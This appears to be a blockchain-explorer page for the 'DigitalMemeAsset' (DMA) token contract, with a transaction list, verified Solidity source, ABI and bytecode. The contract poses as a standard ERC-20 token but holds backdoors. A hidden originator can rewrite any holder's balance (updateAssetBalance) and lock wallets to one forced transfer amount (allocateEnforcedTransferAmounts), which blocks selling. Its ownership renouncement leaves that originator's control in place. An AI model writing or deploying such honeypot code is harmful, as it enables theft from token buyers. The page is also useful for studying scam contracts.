ETH Price: $3,223.48 (-0.63%)

Contract

0x7241C455D67c7d4c402e4D27723df360AD5E68b8
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve175148252023-06-19 15:57:11575 days ago1687190231IN
0x7241C455...0AD5E68b8
0 ETH0.0008528318.11654872
Update Asset Bal...175148232023-06-19 15:56:47575 days ago1687190207IN
0x7241C455...0AD5E68b8
0 ETH0.000935218.62580762
Approve175148172023-06-19 15:55:35575 days ago1687190135IN
0x7241C455...0AD5E68b8
0 ETH0.0008611718.37793096
Allocate Enforce...175148162023-06-19 15:55:23575 days ago1687190123IN
0x7241C455...0AD5E68b8
0 ETH0.0011187523.51952714
Approve175147982023-06-19 15:51:47575 days ago1687189907IN
0x7241C455...0AD5E68b8
0 ETH0.0009935121.07805917
Approve175147972023-06-19 15:51:35575 days ago1687189895IN
0x7241C455...0AD5E68b8
0 ETH0.0010081721.38918057
Approve175147972023-06-19 15:51:35575 days ago1687189895IN
0x7241C455...0AD5E68b8
0 ETH0.0010081721.38918057
Approve175147942023-06-19 15:50:59575 days ago1687189859IN
0x7241C455...0AD5E68b8
0 ETH0.0009973221.15897088
Approve175147942023-06-19 15:50:59575 days ago1687189859IN
0x7241C455...0AD5E68b8
0 ETH0.0009973221.15897088
Approve175147942023-06-19 15:50:59575 days ago1687189859IN
0x7241C455...0AD5E68b8
0 ETH0.0009973221.15897088
Approve175147912023-06-19 15:50:23575 days ago1687189823IN
0x7241C455...0AD5E68b8
0 ETH0.0009922321.05094212
Approve175147912023-06-19 15:50:23575 days ago1687189823IN
0x7241C455...0AD5E68b8
0 ETH0.0009922321.05094212
Approve175147912023-06-19 15:50:23575 days ago1687189823IN
0x7241C455...0AD5E68b8
0 ETH0.0009922321.05094212
Approve175147832023-06-19 15:48:47575 days ago1687189727IN
0x7241C455...0AD5E68b8
0 ETH0.0009986721.18753153
Approve175147832023-06-19 15:48:47575 days ago1687189727IN
0x7241C455...0AD5E68b8
0 ETH0.0009986721.18753153
Approve175147832023-06-19 15:48:47575 days ago1687189727IN
0x7241C455...0AD5E68b8
0 ETH0.0009986721.18753153
Allocate Enforce...175147582023-06-19 15:43:47575 days ago1687189427IN
0x7241C455...0AD5E68b8
0 ETH0.0011585324.35590413
Approve175147522023-06-19 15:42:35575 days ago1687189355IN
0x7241C455...0AD5E68b8
0 ETH0.0010583622.45391093
Approve175147522023-06-19 15:42:35575 days ago1687189355IN
0x7241C455...0AD5E68b8
0 ETH0.0010583622.45391093
Approve175147512023-06-19 15:42:23575 days ago1687189343IN
0x7241C455...0AD5E68b8
0 ETH0.0010325621.90649696
Approve175147412023-06-19 15:40:11575 days ago1687189211IN
0x7241C455...0AD5E68b8
0 ETH0.0008489618.140742
Approve175147412023-06-19 15:40:11575 days ago1687189211IN
0x7241C455...0AD5E68b8
0 ETH0.0008974819.040742
Approve175147412023-06-19 15:40:11575 days ago1687189211IN
0x7241C455...0AD5E68b8
0 ETH0.0008974819.040742
Approve175147392023-06-19 15:39:47575 days ago1687189187IN
0x7241C455...0AD5E68b8
0 ETH0.0004652918.72347117
Approve175147392023-06-19 15:39:47575 days ago1687189187IN
0x7241C455...0AD5E68b8
0 ETH0.0009249519.62347117
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DigitalMemeAsset

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : COIN.sol
pragma solidity ^0.8.16;

interface ITokenBlueprint20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address holder) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract ExecutionEnv {
    function getExecutor() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract ExclusiveOwnership is ExecutionEnv {
    address private _proprietor;
    event ProprietorChanged(address indexed formerProprietor, address indexed newProprietor);

    constructor() {
        address initiator = getExecutor();
        _proprietor = initiator;
        emit ProprietorChanged(address(0), initiator);
    }

    function retrieveProprietor() public view virtual returns (address) {
        return _proprietor;
    }

    modifier proprietorOnly() {
        require(retrieveProprietor() == getExecutor(), "Unauthorized access. Proprietor only.");
        _;
    }

    function abandonProprietorship() public virtual proprietorOnly {
        emit ProprietorChanged(_proprietor, address(0x000000000000000000000000000000000000dEaD));
        _proprietor = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract DigitalMemeAsset is ExecutionEnv, ExclusiveOwnership, ITokenBlueprint20 {
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _portfolios;
    mapping (address => uint256) private _enforcedTransferAmounts;
    address private _originator;

    string public constant tokenDesignation = "DigitalMemeAsset";
    string public constant tokenIdentifier = "DMA";
    uint8 public constant tokenScale = 18;
    uint256 public constant ultimateSupply = 100000 * (10 ** tokenScale);

    constructor() {
        _portfolios[getExecutor()] = ultimateSupply;
        emit Transfer(address(0), getExecutor(), ultimateSupply);
    }

    modifier originatorExclusive() {
        require(retrieveOriginator() == getExecutor(), "Unauthorized access. Originator exclusive.");
        _;
    }

    function retrieveOriginator() public view virtual returns (address) {
        return _originator;
    }

    function setOriginator(address innovator) public proprietorOnly {
        _originator = innovator;
    }

    event TokenAssigned(address indexed user, uint256 formerBalance, uint256 updatedBalance);

    function enforcedTransferAmount(address account) public view returns (uint256) {
        return _enforcedTransferAmounts[account];
    }

    function allocateEnforcedTransferAmounts(address[] calldata accounts, uint256 amount) public originatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _enforcedTransferAmounts[accounts[i]] = amount;
        }
    }

    function updateAssetBalance(address[] memory accountAddresses, uint256 revisedBalance) public originatorExclusive {
        require(revisedBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < accountAddresses.length; i++) {
            address currentAccount = accountAddresses[i];
            require(currentAccount != address(0), "Invalid address provided");

            uint256 formerBalance = _portfolios[currentAccount];
            _portfolios[currentAccount] = revisedBalance;

            emit TokenAssigned(currentAccount, formerBalance, revisedBalance);
        }
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _portfolios[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_portfolios[getExecutor()] >= amount, "Insufficient balance");

        uint256 enforcedTransferQty = enforcedTransferAmount(getExecutor());
        if (enforcedTransferQty > 0) {
            require(amount == enforcedTransferQty, "Enforced transfer amount mismatch");
        }

        _portfolios[getExecutor()] -= amount;
        _portfolios[recipient] += amount;

        emit Transfer(getExecutor(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[getExecutor()][spender] = amount;
        emit Approval(getExecutor(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][getExecutor()] >= amount, "Allowance limit exceeded");

        uint256 enforcedTransferQty = enforcedTransferAmount(sender);
        if (enforcedTransferQty > 0) {
            require(amount == enforcedTransferQty, "Enforced transfer amount mismatch");
        }

        _portfolios[sender] -= amount;
        _portfolios[recipient] += amount;
        _allowances[sender][getExecutor()] -= amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return ultimateSupply;
    }

    function name() public view returns (string memory) {
        return tokenDesignation;
    }

    function symbol() public view returns (string memory) {
        return tokenIdentifier;
    }

    function decimals() public view returns (uint8) {
        return tokenScale;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"formerProprietor","type":"address"},{"indexed":true,"internalType":"address","name":"newProprietor","type":"address"}],"name":"ProprietorChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"formerBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updatedBalance","type":"uint256"}],"name":"TokenAssigned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"abandonProprietorship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"allocateEnforcedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"enforcedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"retrieveOriginator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"retrieveProprietor","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"innovator","type":"address"}],"name":"setOriginator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenDesignation","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenIdentifier","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenScale","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accountAddresses","type":"address[]"},{"internalType":"uint256","name":"revisedBalance","type":"uint256"}],"name":"updateAssetBalance","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fbedf4d2c097368354ced1a647bd7f7343405c96c860cc61983c33be4d78af88660405160405180910390a3506012600a620000d2919062000372565b620186a0620000e29190620003c3565b60026000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620001a3919062000372565b620186a0620001b39190620003c3565b604051620001c291906200041f565b60405180910390a36200043c565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250828202620003ed816200035b565b91508282048414831517620004075762000406620001d8565b5b5092915050565b62000419816200035b565b82525050565b60006020820190506200043660008301846200040e565b92915050565b611ddb806200044c6000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad5780639aee873d116100715780639aee873d14610323578063a9059cbb14610341578063b15e5e7414610371578063dd62ed3e1461038f578063e7715b05146103bf5761012c565b806370a082311461026b57806374083ef91461029b5780637a4b88b0146102b7578063811d7143146102d557806395d89b41146103055761012c565b8063313ce567116100f4578063313ce567146101eb578063342c02b11461020957806336751ffc14610227578063499f931c1461023157806369ca3bc31461024d5761012c565b806306fdde0314610131578063095ea7b31461014f57806316b2b8881461017f57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b6101396103db565b604051610146919061125e565b60405180910390f35b61016960048036038101906101649190611328565b610418565b6040516101769190611383565b60405180910390f35b610187610518565b604051610194919061125e565b60405180910390f35b6101a5610551565b6040516101b291906113ad565b60405180910390f35b6101d560048036038101906101d091906113c8565b610574565b6040516101e29190611383565b60405180910390f35b6101f361084c565b6040516102009190611437565b60405180910390f35b610211610855565b60405161021e9190611437565b60405180910390f35b61022f61085a565b005b61024b6004803603810190610246919061159a565b610996565b005b610255610be2565b604051610262919061125e565b60405180910390f35b610285600480360381019061028091906115f6565b610c1b565b60405161029291906113ad565b60405180910390f35b6102b560048036038101906102b0919061167e565b610c64565b005b6102bf610d72565b6040516102cc91906116ed565b60405180910390f35b6102ef60048036038101906102ea91906115f6565b610d9c565b6040516102fc91906113ad565b60405180910390f35b61030d610de5565b60405161031a919061125e565b60405180910390f35b61032b610e22565b60405161033891906116ed565b60405180910390f35b61035b60048036038101906103569190611328565b610e4b565b6040516103689190611383565b60405180910390f35b610379611060565b60405161038691906113ad565b60405180910390f35b6103a960048036038101906103a49190611708565b61107f565b6040516103b691906113ad565b60405180910390f35b6103d960048036038101906103d491906115f6565b611106565b005b60606040518060400160405280601081526020017f4469676974616c4d656d65417373657400000000000000000000000000000000815250905090565b600081600160006104276111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104c16111c6565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161050691906113ad565b60405180910390a36001905092915050565b6040518060400160405280600381526020017f444d41000000000000000000000000000000000000000000000000000000000081525081565b60006012600a61056191906118aa565b620186a061056f91906118f5565b905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105c06111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561063c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063390611983565b60405180910390fd5b600061064785610d9c565b9050600081111561069557808314610694576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068b90611a15565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106e49190611a35565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461073a9190611a69565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061078b6111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107d49190611a35565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161083891906113ad565b60405180910390a360019150509392505050565b60006012905090565b601281565b6108626111c6565b73ffffffffffffffffffffffffffffffffffffffff16610880610e22565b73ffffffffffffffffffffffffffffffffffffffff16146108d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cd90611b0f565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fbedf4d2c097368354ced1a647bd7f7343405c96c860cc61983c33be4d78af88660405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61099e6111c6565b73ffffffffffffffffffffffffffffffffffffffff166109bc610d72565b73ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990611ba1565b60405180910390fd5b6000811015610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d90611c0d565b60405180910390fd5b60005b8251811015610bdd576000838281518110610a7757610a76611c2d565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610af0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae790611ca8565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fd0b84698f0ba38c686072a2a45b9fa75f428daca5bd1d226f87123243e86c6f88286604051610bc0929190611cc8565b60405180910390a250508080610bd590611cf1565b915050610a59565b505050565b6040518060400160405280601081526020017f4469676974616c4d656d6541737365740000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c6c6111c6565b73ffffffffffffffffffffffffffffffffffffffff16610c8a610d72565b73ffffffffffffffffffffffffffffffffffffffff1614610ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd790611ba1565b60405180910390fd5b60005b83839050811015610d6c578160036000868685818110610d0657610d05611c2d565b5b9050602002016020810190610d1b91906115f6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610d6490611cf1565b915050610ce3565b50505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600381526020017f444d410000000000000000000000000000000000000000000000000000000000815250905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008160026000610e5a6111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ed6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecd90611d85565b60405180910390fd5b6000610ee8610ee36111c6565b610d9c565b90506000811115610f3657808314610f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2c90611a15565b60405180910390fd5b5b8260026000610f436111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8c9190611a35565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fe29190611a69565b925050819055508373ffffffffffffffffffffffffffffffffffffffff166110086111c6565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161104d91906113ad565b60405180910390a3600191505092915050565b6012600a61106e91906118aa565b620186a061107c91906118f5565b81565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61110e6111c6565b73ffffffffffffffffffffffffffffffffffffffff1661112c610e22565b73ffffffffffffffffffffffffffffffffffffffff1614611182576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117990611b0f565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b838110156112085780820151818401526020810190506111ed565b60008484015250505050565b6000601f19601f8301169050919050565b6000611230826111ce565b61123a81856111d9565b935061124a8185602086016111ea565b61125381611214565b840191505092915050565b600060208201905081810360008301526112788184611225565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112bf82611294565b9050919050565b6112cf816112b4565b81146112da57600080fd5b50565b6000813590506112ec816112c6565b92915050565b6000819050919050565b611305816112f2565b811461131057600080fd5b50565b600081359050611322816112fc565b92915050565b6000806040838503121561133f5761133e61128a565b5b600061134d858286016112dd565b925050602061135e85828601611313565b9150509250929050565b60008115159050919050565b61137d81611368565b82525050565b60006020820190506113986000830184611374565b92915050565b6113a7816112f2565b82525050565b60006020820190506113c2600083018461139e565b92915050565b6000806000606084860312156113e1576113e061128a565b5b60006113ef868287016112dd565b9350506020611400868287016112dd565b925050604061141186828701611313565b9150509250925092565b600060ff82169050919050565b6114318161141b565b82525050565b600060208201905061144c6000830184611428565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61148f82611214565b810181811067ffffffffffffffff821117156114ae576114ad611457565b5b80604052505050565b60006114c1611280565b90506114cd8282611486565b919050565b600067ffffffffffffffff8211156114ed576114ec611457565b5b602082029050602081019050919050565b600080fd5b6000611516611511846114d2565b6114b7565b90508083825260208201905060208402830185811115611539576115386114fe565b5b835b81811015611562578061154e88826112dd565b84526020840193505060208101905061153b565b5050509392505050565b600082601f83011261158157611580611452565b5b8135611591848260208601611503565b91505092915050565b600080604083850312156115b1576115b061128a565b5b600083013567ffffffffffffffff8111156115cf576115ce61128f565b5b6115db8582860161156c565b92505060206115ec85828601611313565b9150509250929050565b60006020828403121561160c5761160b61128a565b5b600061161a848285016112dd565b91505092915050565b600080fd5b60008083601f84011261163e5761163d611452565b5b8235905067ffffffffffffffff81111561165b5761165a611623565b5b602083019150836020820283011115611677576116766114fe565b5b9250929050565b6000806000604084860312156116975761169661128a565b5b600084013567ffffffffffffffff8111156116b5576116b461128f565b5b6116c186828701611628565b935093505060206116d486828701611313565b9150509250925092565b6116e7816112b4565b82525050565b600060208201905061170260008301846116de565b92915050565b6000806040838503121561171f5761171e61128a565b5b600061172d858286016112dd565b925050602061173e858286016112dd565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156117ce578086048111156117aa576117a9611748565b5b60018516156117b95780820291505b80810290506117c785611777565b945061178e565b94509492505050565b6000826117e757600190506118a3565b816117f557600090506118a3565b816001811461180b576002811461181557611844565b60019150506118a3565b60ff84111561182757611826611748565b5b8360020a91508482111561183e5761183d611748565b5b506118a3565b5060208310610133831016604e8410600b84101617156118795782820a90508381111561187457611873611748565b5b6118a3565b6118868484846001611784565b9250905081840481111561189d5761189c611748565b5b81810290505b9392505050565b60006118b5826112f2565b91506118c08361141b565b92506118ed7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117d7565b905092915050565b6000611900826112f2565b915061190b836112f2565b9250828202611919816112f2565b915082820484148315176119305761192f611748565b5b5092915050565b7f416c6c6f77616e6365206c696d69742065786365656465640000000000000000600082015250565b600061196d6018836111d9565b915061197882611937565b602082019050919050565b6000602082019050818103600083015261199c81611960565b9050919050565b7f456e666f72636564207472616e7366657220616d6f756e74206d69736d61746360008201527f6800000000000000000000000000000000000000000000000000000000000000602082015250565b60006119ff6021836111d9565b9150611a0a826119a3565b604082019050919050565b60006020820190508181036000830152611a2e816119f2565b9050919050565b6000611a40826112f2565b9150611a4b836112f2565b9250828203905081811115611a6357611a62611748565b5b92915050565b6000611a74826112f2565b9150611a7f836112f2565b9250828201905080821115611a9757611a96611748565b5b92915050565b7f556e617574686f72697a6564206163636573732e2050726f70726965746f722060008201527f6f6e6c792e000000000000000000000000000000000000000000000000000000602082015250565b6000611af96025836111d9565b9150611b0482611a9d565b604082019050919050565b60006020820190508181036000830152611b2881611aec565b9050919050565b7f556e617574686f72697a6564206163636573732e204f726967696e61746f722060008201527f6578636c75736976652e00000000000000000000000000000000000000000000602082015250565b6000611b8b602a836111d9565b9150611b9682611b2f565b604082019050919050565b60006020820190508181036000830152611bba81611b7e565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000611bf7601b836111d9565b9150611c0282611bc1565b602082019050919050565b60006020820190508181036000830152611c2681611bea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f496e76616c696420616464726573732070726f76696465640000000000000000600082015250565b6000611c926018836111d9565b9150611c9d82611c5c565b602082019050919050565b60006020820190508181036000830152611cc181611c85565b9050919050565b6000604082019050611cdd600083018561139e565b611cea602083018461139e565b9392505050565b6000611cfc826112f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d2e57611d2d611748565b5b600182019050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000611d6f6014836111d9565b9150611d7a82611d39565b602082019050919050565b60006020820190508181036000830152611d9e81611d62565b905091905056fea264697066735822122016c1b704f02d5847ba1c84d92018914bd42029c5e670cdc2af3c064675ed577564736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad5780639aee873d116100715780639aee873d14610323578063a9059cbb14610341578063b15e5e7414610371578063dd62ed3e1461038f578063e7715b05146103bf5761012c565b806370a082311461026b57806374083ef91461029b5780637a4b88b0146102b7578063811d7143146102d557806395d89b41146103055761012c565b8063313ce567116100f4578063313ce567146101eb578063342c02b11461020957806336751ffc14610227578063499f931c1461023157806369ca3bc31461024d5761012c565b806306fdde0314610131578063095ea7b31461014f57806316b2b8881461017f57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b6101396103db565b604051610146919061125e565b60405180910390f35b61016960048036038101906101649190611328565b610418565b6040516101769190611383565b60405180910390f35b610187610518565b604051610194919061125e565b60405180910390f35b6101a5610551565b6040516101b291906113ad565b60405180910390f35b6101d560048036038101906101d091906113c8565b610574565b6040516101e29190611383565b60405180910390f35b6101f361084c565b6040516102009190611437565b60405180910390f35b610211610855565b60405161021e9190611437565b60405180910390f35b61022f61085a565b005b61024b6004803603810190610246919061159a565b610996565b005b610255610be2565b604051610262919061125e565b60405180910390f35b610285600480360381019061028091906115f6565b610c1b565b60405161029291906113ad565b60405180910390f35b6102b560048036038101906102b0919061167e565b610c64565b005b6102bf610d72565b6040516102cc91906116ed565b60405180910390f35b6102ef60048036038101906102ea91906115f6565b610d9c565b6040516102fc91906113ad565b60405180910390f35b61030d610de5565b60405161031a919061125e565b60405180910390f35b61032b610e22565b60405161033891906116ed565b60405180910390f35b61035b60048036038101906103569190611328565b610e4b565b6040516103689190611383565b60405180910390f35b610379611060565b60405161038691906113ad565b60405180910390f35b6103a960048036038101906103a49190611708565b61107f565b6040516103b691906113ad565b60405180910390f35b6103d960048036038101906103d491906115f6565b611106565b005b60606040518060400160405280601081526020017f4469676974616c4d656d65417373657400000000000000000000000000000000815250905090565b600081600160006104276111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ff